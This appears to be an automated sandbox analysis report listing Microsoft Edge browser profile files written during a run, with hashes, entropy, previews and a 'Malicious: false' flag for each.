Preview:	2024/08/31-19:30:29.433 b68 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/08/31-19:30:29.434 b68 Recovering log #3.2024/08/31-19:30:29.517 b68 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	787
Entropy (8bit):	4.059252238767438
Encrypted:	false
SSDEEP:	12:G0nYUtTNop//z3p/Uz0RuWlJhC+lvBavRtin01zvZDEtlkyBrgxvB1ys:G0nYUtypD3RUovhC+lvBOL+t3IvB8s
MD5:	D8D8899761F621B63AD5ED6DF46D22FE
SHA1:	23E6A39058AB3C1DEADC0AF2E0FFD0D84BB7F1BE
SHA-256:	A5E0A78EE981FB767509F26021E1FA3C506F4E86860946CAC1DC4107EB3B3813
SHA-512:	4F89F556138C0CF24D3D890717EB82067C5269063C84229E93F203A22028782902FA48FB0154F53E06339F2FDBE35A985CE728235EA429D8D157090D25F15A4E
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................33_........v.................21_.....vuNX.................21_.....<...................20_.....,.1..................19_.....QL.s.................18_.....<.J\|.................37_...... .A.................38_..........................39_........].................20_.....Owa..................20_.....`..N.................19_.....D8.X.................18_......`...................37_..........................38_......\e..................39_.....dz.\|.................9_.....'\c..................9_.......f-.................__global... .\|.&R.................__global... ./....................__global... ..T...................__global... ...G..................__global... .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	339
Entropy (8bit):	5.230460980871049
Encrypted:	false
SSDEEP:	6:7A+q2P923oH+TcwtfrzAdIFUt8MlxHZZmw+MlxHNVkwO923oH+TcwtfrzILJ:7Fv4Yeb9FUt8MlL/+MlB5LYeb2J
MD5:	5B309D9C802C6A3B7F5812E25CD5CBBE
SHA1:	7588FDDB2DF7701335070B6BA98F65FC70630CE8
SHA-256:	7AED981D9F56CD3F0E986A08E83216FB4436E85DFDB6D9A8AA08DE3E8FEEE1CE
SHA-512:	50951D92A598CED4F8A74B59FFD87E88F1EC1D5FD562E4C5157753CB16E8179718E6080429012323DC127ABD4D2302C9251B4F93C48F0FB43AE2536F72D8E118
Malicious:	false
Preview:	2024/08/31-19:30:29.428 b68 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/08/31-19:30:29.429 b68 Recovering log #3.2024/08/31-19:30:29.429 b68 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	339
Entropy (8bit):	5.230460980871049
Encrypted:	false
SSDEEP:	6:7A+q2P923oH+TcwtfrzAdIFUt8MlxHZZmw+MlxHNVkwO923oH+TcwtfrzILJ:7Fv4Yeb9FUt8MlL/+MlB5LYeb2J
MD5:	5B309D9C802C6A3B7F5812E25CD5CBBE
SHA1:	7588FDDB2DF7701335070B6BA98F65FC70630CE8
SHA-256:	7AED981D9F56CD3F0E986A08E83216FB4436E85DFDB6D9A8AA08DE3E8FEEE1CE
SHA-512:	50951D92A598CED4F8A74B59FFD87E88F1EC1D5FD562E4C5157753CB16E8179718E6080429012323DC127ABD4D2302C9251B4F93C48F0FB43AE2536F72D8E118
Malicious:	false
Preview:	2024/08/31-19:30:29.428 b68 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/08/31-19:30:29.429 b68 Recovering log #3.2024/08/31-19:30:29.429 b68 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG.old~RF49db3.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	339
Entropy (8bit):	5.230460980871049
Encrypted:	false
SSDEEP:	6:7A+q2P923oH+TcwtfrzAdIFUt8MlxHZZmw+MlxHNVkwO923oH+TcwtfrzILJ:7Fv4Yeb9FUt8MlL/+MlB5LYeb2J
MD5:	5B309D9C802C6A3B7F5812E25CD5CBBE
SHA1:	7588FDDB2DF7701335070B6BA98F65FC70630CE8
SHA-256:	7AED981D9F56CD3F0E986A08E83216FB4436E85DFDB6D9A8AA08DE3E8FEEE1CE
SHA-512:	50951D92A598CED4F8A74B59FFD87E88F1EC1D5FD562E4C5157753CB16E8179718E6080429012323DC127ABD4D2302C9251B4F93C48F0FB43AE2536F72D8E118
Malicious:	false
Preview:	2024/08/31-19:30:29.428 b68 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/08/31-19:30:29.429 b68 Recovering log #3.2024/08/31-19:30:29.429 b68 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.7192945256669794
Encrypted:	false
SSDEEP:	3:NYLFRQI:ap2I
MD5:	BF16C04B916ACE92DB941EBB1AF3CB18
SHA1:	FA8DAEAE881F91F61EE0EE21BE5156255429AA8A
SHA-256:	7FC23C9028A316EC0AC25B09B5B0D61A1D21E58DFCF84C2A5F5B529129729098
SHA-512:	F0B7DF5517596B38D57C57B5777E008D6229AB5B1841BBE74602C77EEA2252BF644B8650C7642BD466213F62E15CC7AB5A95B28E26D3907260ED1B96A74B65FB
Malicious:	false
Preview:	117.0.2045.47

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090752358834268
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM/wuF9hDO6vP6O+Rtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEX6gtbz8hu3VlXr4CRo1
MD5:	22107D6EE7B068869F75C7129B9C69EF
SHA1:	CD9FDFC3CA14A8709FC547BDF65C395C0C5AF2C4
SHA-256:	6C785D5851F61835C9FD84490385BB0915A63C549EAA403E8FC129C61D545B50
SHA-512:	00473CFD1400480B86364D4AF72347B3D80FD3D1A7AAAED689209AB7DD50FE095F4AE209249B2EC98DD69D7A08CFF94D5293E4592FFAEBDBBDDF62197B3BC601
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF47cdd.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090752358834268
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM/wuF9hDO6vP6O+Rtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEX6gtbz8hu3VlXr4CRo1
MD5:	22107D6EE7B068869F75C7129B9C69EF
SHA1:	CD9FDFC3CA14A8709FC547BDF65C395C0C5AF2C4
SHA-256:	6C785D5851F61835C9FD84490385BB0915A63C549EAA403E8FC129C61D545B50
SHA-512:	00473CFD1400480B86364D4AF72347B3D80FD3D1A7AAAED689209AB7DD50FE095F4AE209249B2EC98DD69D7A08CFF94D5293E4592FFAEBDBBDDF62197B3BC601
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF47db8.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090752358834268
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM/wuF9hDO6vP6O+Rtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEX6gtbz8hu3VlXr4CRo1
MD5:	22107D6EE7B068869F75C7129B9C69EF
SHA1:	CD9FDFC3CA14A8709FC547BDF65C395C0C5AF2C4
SHA-256:	6C785D5851F61835C9FD84490385BB0915A63C549EAA403E8FC129C61D545B50
SHA-512:	00473CFD1400480B86364D4AF72347B3D80FD3D1A7AAAED689209AB7DD50FE095F4AE209249B2EC98DD69D7A08CFF94D5293E4592FFAEBDBBDDF62197B3BC601
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF47e83.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090752358834268
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM/wuF9hDO6vP6O+Rtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEX6gtbz8hu3VlXr4CRo1
MD5:	22107D6EE7B068869F75C7129B9C69EF
SHA1:	CD9FDFC3CA14A8709FC547BDF65C395C0C5AF2C4
SHA-256:	6C785D5851F61835C9FD84490385BB0915A63C549EAA403E8FC129C61D545B50
SHA-512:	00473CFD1400480B86364D4AF72347B3D80FD3D1A7AAAED689209AB7DD50FE095F4AE209249B2EC98DD69D7A08CFF94D5293E4592FFAEBDBBDDF62197B3BC601
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF49da4.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090752358834268
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM/wuF9hDO6vP6O+Rtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEX6gtbz8hu3VlXr4CRo1
MD5:	22107D6EE7B068869F75C7129B9C69EF
SHA1:	CD9FDFC3CA14A8709FC547BDF65C395C0C5AF2C4
SHA-256:	6C785D5851F61835C9FD84490385BB0915A63C549EAA403E8FC129C61D545B50
SHA-512:	00473CFD1400480B86364D4AF72347B3D80FD3D1A7AAAED689209AB7DD50FE095F4AE209249B2EC98DD69D7A08CFF94D5293E4592FFAEBDBBDDF62197B3BC601
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF49e6f.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090752358834268
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM/wuF9hDO6vP6O+Rtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEX6gtbz8hu3VlXr4CRo1
MD5:	22107D6EE7B068869F75C7129B9C69EF
SHA1:	CD9FDFC3CA14A8709FC547BDF65C395C0C5AF2C4
SHA-256:	6C785D5851F61835C9FD84490385BB0915A63C549EAA403E8FC129C61D545B50
SHA-512:	00473CFD1400480B86364D4AF72347B3D80FD3D1A7AAAED689209AB7DD50FE095F4AE209249B2EC98DD69D7A08CFF94D5293E4592FFAEBDBBDDF62197B3BC601
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF49e7e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090752358834268
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM/wuF9hDO6vP6O+Rtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEX6gtbz8hu3VlXr4CRo1
MD5:	22107D6EE7B068869F75C7129B9C69EF
SHA1:	CD9FDFC3CA14A8709FC547BDF65C395C0C5AF2C4
SHA-256:	6C785D5851F61835C9FD84490385BB0915A63C549EAA403E8FC129C61D545B50
SHA-512:	00473CFD1400480B86364D4AF72347B3D80FD3D1A7AAAED689209AB7DD50FE095F4AE209249B2EC98DD69D7A08CFF94D5293E4592FFAEBDBBDDF62197B3BC601
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ShaderCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	270336
Entropy (8bit):	0.0018238520723782249
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zET:/M/xT02z8
MD5:	AC81EF9540AC3DDCC4546B82AC3801BD
SHA1:	1AC27855FABFA8AF62752DA91E2A6EADC815CBBC
SHA-256:	4A2C8BA05BE86A2182B9BCC9AEC916588CC9502F4F505CD79991AF8326EC11E4
SHA-512:	D27635D446F0AEA20E138F96BEDEDF118CCF0BC8560CB2E11AB0AACE9D320E989164E2971DAB20571A9B6D9A1B4A52CAAF78084D2141372D77516F52ABD222AB
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	85
Entropy (8bit):	4.3488360343066725
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ25AmIpozQw:YQ3Kq9X0dMgAEiLI2
MD5:	265DB1C9337422F9AF69EF2B4E1C7205
SHA1:	3E38976BB5CF035C75C9BC185F72A80E70F41C2E
SHA-256:	7CA5A3CCC077698CA62AC8157676814B3D8E93586364D0318987E37B4F8590BC
SHA-512:	3CC9B76D8D4B6EDB4C41677BE3483AC37785F3BBFEA4489F3855433EBF84EA25FC48EFEE9B74CAB268DC9CB7FB4789A81C94E75C7BF723721DE28AEF53D8B529
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":true,"variations_crash_streak":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\c4ecdd67-ed4f-46c6-9dbb-cae9821e30e2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44664
Entropy (8bit):	6.095737618385446
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4xkBVFuChDO6vP6O5N8+Cg0yzcGoup1Xl3jVzXr4CCAg:z/Ps+wsI7yOEy6D3chu3VlXr4CRo1
MD5:	F3FB3B5351D0B4AF0DD14BD3E1FADE65
SHA1:	184541C0B597BC901E03C9130158D8FEE3E85D52
SHA-256:	75284C3D9D4BBB1991075B4319486876D45B4B5594F82702DB52446DE9F3DCE4
SHA-512:	430C665FCCDA3005BAC5CCF5116D1178A88F98698366B0A3A88272D89BEEAB0E259C83222680E154888372BCBB9C260CC46FD637348B76596FAD031B0870F6D1
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\d3488423-2916-4928-8602-f550f2875b44.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44663
Entropy (8bit):	6.095758754093202
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4xkBVwuChDO6vP6O5N8MCg0yzcGoup1Xl3jVzXr4CCAg:z/Ps+wsI7yOEB6Ddchu3VlXr4CRo1
MD5:	4F29CB894FDD3C71FBAEF86E735F3B8F
SHA1:	1DD76769FA632116AB86D09EE60F746B6F7CE76A
SHA-256:	628F6CCBE71E511C0132E6970FEF4B38DBBAD896C4A45C076CE531A60E75235B
